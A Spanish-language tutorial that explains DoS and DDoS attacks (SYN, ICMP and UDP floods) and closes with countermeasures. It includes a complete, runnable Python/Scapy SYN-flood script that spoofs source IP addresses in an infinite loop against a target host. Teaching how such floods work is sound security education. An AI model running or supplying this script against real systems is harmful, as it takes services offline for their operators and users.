Ver destacados

Ataque DoS (Denegacion de Servicio)

En este tutorial vamos a hablar sobre el ataque DoS (Denial of Service) y DDos. Además se pone un ejemplo simple de ataque en Python.
Escrito por
12K Visitas  |  Publicado jul 28 2016 13:46
Favorito
Compartir
Comparte esta pagina a tus Amigos y Contactos usando las siguientes Redes Sociales


Debemos estar siempre atentos a los diferentes ataques informáticos a los que estamos expuestos. En está ocasión vamos a hablar de un ataque informático que arremete contra la disponibilidad de un servicio, se trata del ataque DoS (Denegación de Servicio). Este ataque se puede hacer de forma distribuida (DDoS), normalmente se llevará a cabo a través de una Botnet. Los atacantes tienen como objetivo que los usuarios de un servicio no puedan utilizarlo, debido a que está saturado, seguro que has oído sobre los ataques que ha sufrido PlayStation Network, incluso es posible que debido a alguno de esos ataques cierto día no hayas podido jugar en línea.

 

Has podido ver que existe el ataque DoS y el DDoS, una diferencia que encontramos entre un ataque y otro, es que en el primero utilizamos una máquina y una conexión y en el segundo se van a utilizar muchos computadores, por lo que el ataque es mucho más duro y efectivo.

 

Nota
Para entender bien el ataque, es necesario que sepas cómo funciona TCP/IP, o al menos tengas nociones básicas de Redes.

 

Distintas formas de realizar el ataque


Para aprender seguridad y poder protegerse, es necesario conocer cómo se realizan los ataques. En este ataque podemos ver que se puede llevar a cabo de muchas maneras, a continuación dejamos algunas de ellas, con una breve explicación:

 

SYN Flood (Inundación SYN)
Este ataque consiste en enviar peticiones de conexión (paquetes con flag SYN activa) a la víctima desde direcciones IP origen falsas, que contestara con paquetes que contienen las flags ACK y SYN activa, y quedará a la espera de que el origen de la conexión conteste con la flag ACK activa, pero esto nunca sucederá.

 

ICMP Flood (Inundación ICMP)
En este tipo el atacante quiere consumir el ancho de banda de la víctima mandando numerosos paquetes ICMP grandes, esto es a través de hacer ping.

 

UDP Flood (Inundación UDP)
Aquí se van a crear grandes cantidades de paquetes UDP, que serán enviados a la víctima a puertos aleatorios.

 

Buffer Overflow (Inundación de buffer)
Tipo de ataque “clásico”, el atacante enviara a la víctima más paquetes de los que el buffer del servicio pueda tratar, esto ocasiona que el servicio no atienda peticiones legítimas, ya que está saturado.

 

Existen más tipos, como pueden ser HTTP flood, NTP Amplification, etc.

 

 

Ejemplo ataque DoS en Python


Ahora vamos a ver un pequeño ejemplo de código en Python que se va a basar en el ataque SYN flood, la prueba se va a realizar de manera controlada con máquinas virtuales.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
from scapy.all import *

conf.verb = 0

host = "192.168.56.1"
port = 80

origenIP = "192.168.1."
endIP = 10

packet_number = 0

while True:    
    packet_number += 1 
    packet = IP(src= (origenIP+str(endIP)), dst= host) / TCP(sport= RandShort(), dport= port)
    send(packet, inter= 0.0002)  
    print("Packet %d sent" %packet_number)
    endIP += 1 
    if(endIP == 200):
        endIP = 10
El código es bastante simple, se está utilizando la versión 3 de Python, y nos ayudamos de la librería Scapy, que es muy potente y nos facilita las cosas.

 

Lo primero que vemos es importar las librerías necesarias, la de logging se usa para evitar el warning que lanza Scapy sobre IPv6. Acto seguido se usa conf.verb = 0, esto se hace para que Scapy no muestre información.

 

A continuación se crea la variable host, que no es más que la IP del objetivo de nuestro ataque y la variable port que es el puerto de nuestro objetivo.

 

Para que no sea siempre la misma dirección de origen he creado una variable que tenga la base (origenIP) y otra que se ira añadiendo al final (endIP), como puedes apreciar se concatenan al crear el paquete origenIP+str(endIP).

 

La variable packet_number simplemente se utiliza para llevar la cuenta de los paquetes que se han mandado.

 

La última parte es un bucle infinito, que es el que se encarga de todo, creamos el paquete y lo enviamos, además mostramos que se ha enviado el paquete, por tener la información, y actualizamos las variables endIP y packet_number.
Si ejecutamos el código y utilizamos wireshark, podemos ver como se envían los paquetes, comprobamos que la IP de origen es distinta cada vez, al igual que el puerto.

 

 

 

Si nos fijamos, la columna Source de la imagen anterior va cambiando, la de Destination no, ya que es nuestra victima.

 

 

Contramedidas


Lamentablemente las empresas sufren muchas pérdidas a lo largo del año debido a este tipo de ataque, así que es muy importante que implementemos contramedidas, a continuación se ponen algunas de las que deberíamos tener en cuenta:
  • Configurar Firewall o sistemas IDS o IPS de manera correcta
  • Limitar el número de paquetes TCP SYNpor segundo
  • Analizar el tráfico de red
  • Búsqueda reversa de IP, sirve para evitar el spoofing

 

Si quieres leer más sobre temas de seguridad, puedes visitar la categoría dedicada a seguridad dentro de Solvetic.

¿Te ayudó este Tutorial?

Ayuda a mejorar este Tutorial!
¿Quieres ayudarnos a mejorar este tutorial más? Puedes enviar tu Revisión con los cambios que considere útiles. Ya hay 0 usuario que han contribuido en este tutorial al enviar sus Revisiones. ¡Puedes ser el próximo!